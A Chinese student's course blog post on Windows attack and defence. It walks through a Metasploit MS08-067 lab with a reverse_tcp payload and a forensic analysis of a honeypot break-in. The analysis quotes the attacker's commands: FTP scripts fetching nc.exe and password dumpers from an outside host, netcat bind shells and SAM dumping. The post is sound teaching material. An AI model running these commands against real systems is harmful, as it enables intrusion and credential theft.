20199133 2019-2020-2 《网络攻防实践》第七周作业

20199133 2019-2020-2 《网络攻防实践》第七周作业

这个作业属于哪个课程 《网络攻防实践》
这个作业的要求在哪里 网络攻防第七周作业
我在这个课程的目标是 学习和了解各类对Windows系统的攻击技术的原理和防范措施,进而维护Windows系统。
这个作业在哪个具体方面帮助我实现目标 学习Windows系统框架、安全体系结构;使用metasploit软件对Windows系统进行远程渗透攻击;解码一次成功的NT系统破解攻击。
作业正文 见作业
其他参考文献 见文末

一.实践内容

(一)Windows操作系统基本框架

如图所示,分为运行于处理特权模式的操作系统内核,以及非特权模式的用户空间代码。

内核的基本模块包括

Windows执行体;Windows内核体;设备驱动程序;硬件抽象层;Windows窗口与图形界面接口内核实现代码;环境子系统服务进程;服务进程;用户应用软件;核心子系统DDL;Windows进程和线程管理机制;Windows内存管理机制;Windows文件管理机制;Windows注册表管理机制;Windows网络机制。

Windows网络机制如下图所示,网络组件基本模块包括:

  • 各种网卡硬件的设备驱动程序。
  • NDIS库和miniport驱动程序。
  • TDI传输层(网络协议驱动)。
  • 网络API、DLL和TDL的客户端。
  • 网络应用程序与服务进程。

(二)Windows操作系统的安全体系结构与机制

1.Windows安全体系结构:Windows操作系统引用监控器模型来实现基本的对象安全模型,如图所示,所有的主体对客体的访问都是通过引用监控器作为中介。

  • Windows系统安全体系结构如下图所示。

2.Windows身份认证机制:对于试图使用Windows系统的用户与远程计算机安全主体,Windows通过秘密信息(保存的口令字、登记的指纹等)来验证安全主体的真实合法身份。网络身份认证过程由LSASS服务的Netlogon模块主导完成。客户端会与服务器端进行“质询-应答式”的身份验证协议。

3.Windows授权与访问控制机制:在用户等安全主体经过认证后,Windows系统会赋予用户一个访问令牌,令牌中包括用户本身的SID、用户组SID和特权列表。Windows中可使用whoami来查看当前用户令牌信息。

4.安全审计机制:系统审计策略在本地策略中由管理员定义,来确定哪些事件进行记录。也可作为第三方审计日志分析工具的输入数据源。

(三)Windows远程安全攻防技术

1.远程攻击可分为如下几类:远程口令猜测与破解攻击;攻击Windows网络服务;攻击Windows客户端及用户。

2.系统的安全漏洞:互联网用户所面临的安全威胁中,绝大部分是由于未能及时修补已公开的漏洞,所导致的渗透攻击和恶意代码的传播。渗透攻击包括:漏洞扫描测试—>查找渗透代码—>实施渗透攻击。

  • Metasploit软件主要命令
命令 主要描述
?/help 显示命令帮助
cd 改变当前工作目录路径
connect 集成netcat的功能,可测试网络
check 部分渗透模块所支持的目标系统是否存在相应漏洞。
exploit 实施渗透攻击
quit 退出终端
Search 查找特定模块
Show 查找每种模块的详细配置参数
set/unset 查找每种模块的详细配置参数
Use 选择使用特定的exploit、playload、encoder模块

3.远程口令猜测与破解攻击

  • SMB(基于服务消息块)协议可以为网络用户提供远程访问文件系统与打印机支持,通常运行于TCP445与TCP139端口。远程桌面终端服务运行于TCP3389端口,只提供图形化的用户口令登录接口,因此破解更困难一些。
  • 防范措施:尽量关闭不必要的开放的、易受网络攻击的网络服务;配置主机防火墙来限制网络端口的服务;对于安全级别较高的服务器,管理员可以制定强口令策略。
    4.远程渗透攻击防范措施:应该尽可能快的更新软件的补丁;对安全漏洞被公布的这段时间,应暂时禁用存在网络服务的访问,来避免被攻击。通过漏洞扫描软件对已知的漏洞及时修补。

(四)Windows本地安全攻防技术

1.windows本地特权提升

  • 攻击者获得系统上受限用户权限后,就会着眼于获得终极特权,主要途径有DDL注入和破解本地程序漏洞。

2.Windows敏感信息窃取

  • 获得administrator权限后,攻击者将继续收集敏感信息(各种口令字)。

3.Windows消踪灭迹

  • 攻击者可利用auditpol程序关闭审计功能,使用“enable”参数重启审计功能,就可以不留痕迹地退出系统。
  • 攻击者获得Administrator权限后就可打开Event Log事件查看器来删除主机上的所有日志。
  • 防范措施:可将日志记录上传到安全的日志服务器中;也可采用定期备份的方式来固话保存。

4.远程控制和后门程序

  • 攻击者为了确保以后能方便登录系统,会在系统中建立远程控制和后门程序。
  • 常用的远程控制程序有Netcat、Metasploit和图形化远程控制程序。
  • 防范措施:采用后门检测软件来发现隐藏的后门程序。

二.实践过程

实践一:任务:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权

  • 我们使用kali作为攻击机,WindowsXPsever作为靶机
    | 虚拟机 | IP地址 |
    |:------------------😐:-------------------------------------------------😐
    |kali|192.168.200.2|
    |WindowsXPsever|192.168.200.124|

  • 在kali中输入msfconsole启动msfconsole软件。我的刚开始打不开,需要升级一下。(或者也可能是拼写错了。)

  • 输入search ms08_067查看漏洞模块信息。发现路径是exploit/windows/smb/ms08_067_netapi。

  • 使用show payload查看载荷信息。

  • 使用MS08-067漏洞作为我们的攻击目标,输入代码use exploit/windows/smb/ms08_067_netapi

  • 输入set PAYLOAD windows/meterpreter/reverse_tcp设置打开反向连接的载荷。

  • 输入命令set LHOST 192.168.200.2设置攻击机IP地址;输入set RHOST 192.168.200.124设置靶机IP地址。

  • 输入exploit实施攻击,失败。

  • 此路不通行他路,换一个MS03-026漏洞攻击,方法同上,返回的值还是这样的,我更换了多次靶机结果也是这样,所有靶机和虚拟机之间都是能ping的,不知道为什么??


    可能是我目前还不知道的原因吧,换了载荷也不行。

实践二:取证分析实践:解码一次成功的NT系统破解攻击

任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为:lab.wiretrip.net);回答下面的问题:

1、攻击者使用了什么破解工具进行攻击?
2、攻击者如何使用这个破解工具进入并控制了系统?
3、当攻击者获得系统的访问权后做了什么?
4、我们如何防止这样的攻击?
5、你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

(1)使用的破解工具:

  • 首先用wireshark打开所给的攻击文件,根据题目输入ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106筛选一下有这两个IP地址的信息,发现攻击机建立连接后进行HTTP访问。
  • 然后打开117这一行,发现攻击者打开了系统启动文件"boot.ini",这里有%C0%AF字符,%C0%AF为/的Unicode编码,这里是Unicode编码攻击。
  • 在第130行、140行,我们可以看到有msadc和msadcs.dll文件,这是一个探测过程,是远程数据访问服务的文件,然后追踪149行的TCP数据流,经查询发现进行了SQL注入攻击,执行shell脚本数据为shell ( “cmd /c echo werd >> c : \ f u n ” ),根据ADM!ROX!YOUR!WORLD特征字符串,表明是msadc(2).pl工具发起的渗透攻击。

  • 攻击机使用的攻击工具是msadc.pl。

(2)攻击机如何进入系统?

  • 通过FTP脚本尝试在目标主机下载工具(pdump/samdump/netcat)由于记错口令失败
  • 接下来我把追踪到的http数据流中的重要数据并整理如下:
    SESSION:1778-80"cmd /c echo user johna2k > ftpcom"
    SESSION:1780-80"cmd /c echo hacker2000 >> ftpcom"
    SESSION:1782-80"cmd /c echo get samdump.dll >> ftpcom"
    SESSION:1784-80"cmd /c echo get pdump.exe >> ftpcom"``` SESSION:1786-80"cmd /c echo get nc.exe >> ftpcom" SESSION:1789-80"cmd /c echo quit >> ftpcom" SESSION:1791-80"cmd /c ftp -s:ftpcom -n www.nether.net"```

  • 此处通过参考其他同学博客,知道上述指令是攻击者首先创建了一个ftpcom脚本,并使用ftp连接www.nether.net(给出了用户名密码),尝试下载一些攻击工具samdump.dll,pdump.exe,nc.exe,未能成功。

  • 在Wireshark中输入ftp进行筛选,发现1106行的ftp连接成功,然后再看一下连接成功之前的指令,可以找到下面一些指令。

SESSION:1874-80copy C:\winnt\system32\cmd.exe cmd1.exe
SESSION:1875-80cmd1.exe /c open 213.116.251.162 >ftpcom"
SESSION:1876-80cmd1.exe /c echo johna2k >>ftpcom
c echo haxedj00 >>ftpcom
c echo get nc.exe >>ftpcom
c echo get pdump.exe >>ftpcom
c echo get samdump.dll >>ftpcom
c echo quit >>ftpcom

  • ftp连接结束后,执行指令c nc -l -p 6969 -e cmd1.exe,表示攻击者连接6969端口,获得了系统的访问权。

(3)攻击者获得访问权限后做了什么?

  • 在Wireshark中输入tcp.port == 6969,追踪tcp流;要从注册表中提取密文,但没有成功。运行net session,访问受限,执行net users,返回主机用户列表。
  • 然后攻击者通过net group,net localgroup分别查看组用户、本地组用户,并查看net group domain admins,但都没有成功。
  • 继续看此TCP流可以发现,攻击者想寻找并进入msadc目录,执行pdump,但是没有破解出口令密文。
  • 删除了samdump.dll和pdump.exe文件。
  • 执行rdisk尝试获得SAM口令文件的拷贝,将SAM文件保存为c:\har.txt文件。
  • 接着再往下查看两个TCP流,发现执行nc -l -p 6968 -e cmd1.exe,又进行了Unicode攻击。

(4)如何防止这样的攻击

  • 通过移除或删除系统内/msadc目录,同时移除C:\Program Files\Common Files\System\Msadc\msadcs.dll,或安装MDAC2.1SP2补丁(下载网址为http://www.microsoft.com/data/download.htm),并注意及时上网更新。
  • 为这些漏洞打补丁;禁用用不到的RDS等服务;防火墙封禁网络内部服务器发起的连接
  • 使用IIS Lackdown和URLScan等工具加强web server
    (5)攻击者是否警觉攻击了蜜罐主机?
  • 攻击者警觉到了这是一个蜜罐主机,因为有这样一条指令。

团队对抗实践:Windows系统远程渗透攻击与分析

任务:攻击方:使用metasploit,选择metasploitable中的漏洞进行渗透攻击,获得控制权;
防御方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。

  • 攻击过程与实践一相同,开始exploit攻击后进入wireshark进行监听。

  • 从抓包中可得到如下分析和结果:

    攻击机IP地址192.168.200.3;目标地址192.168.200.2;
    源端口34759;目标端口445;
    攻击发起时间:从ARP协议的询问开始;

三.学习中遇到的问题及解决

  • 问题1:在第一个实验中,不能正常使用模块,会报错。

  • 问题1解决方案:后面查看了ms_08_067漏洞的信息,发现路径不一样,更新后能成功使用。

  • 问题2:对第二个实践分析,刚开始不知道如何下手。

  • 问题2解决方案:通过老师给的资料和网上一些学习,对IIS分析、shell命令分析有大概的了解。

  • 问题3.本次实验最大的问题,任何一个虚拟机都无法ping通另一个(集体罢工了???),攻击机NET模式上不去网,所以第一个实验迟迟无法完成。

  • 问题3解决方案:初步分析是密网和网卡的问题,但是就一直在那ping了试,好像换着ping就能解决问题一样,可能是想不通吧,之前都好好好的,浪费了许多时间。可能是我主机待机太久了回来启动有错误……然后重新配置了一下密网,果真存在小数点问题,还不行。最后我又把网卡删了重新添加,本来都想下一步该重装虚拟机了吧,结果就好了,能ping通了,折磨了两个晚上终于弄出来了!!!!十分开心,都快没希望了又能解决。

四.实践总结

  • 关于第二个实践,分析部分学起来是真的有些难,参考老师的教材和其他同学博客,能理解一部分。
  • 我觉得每次实验会出现的意外情况太多了,还是要多思考,不要一直去试。。。。
  • 总结一下,只要愿意思考,不抛弃不放弃地去做,问题总会被解决!

参考资料

posted @ 2020-04-15 19:09  dky张森民  阅读(262)  评论(0编辑  收藏  举报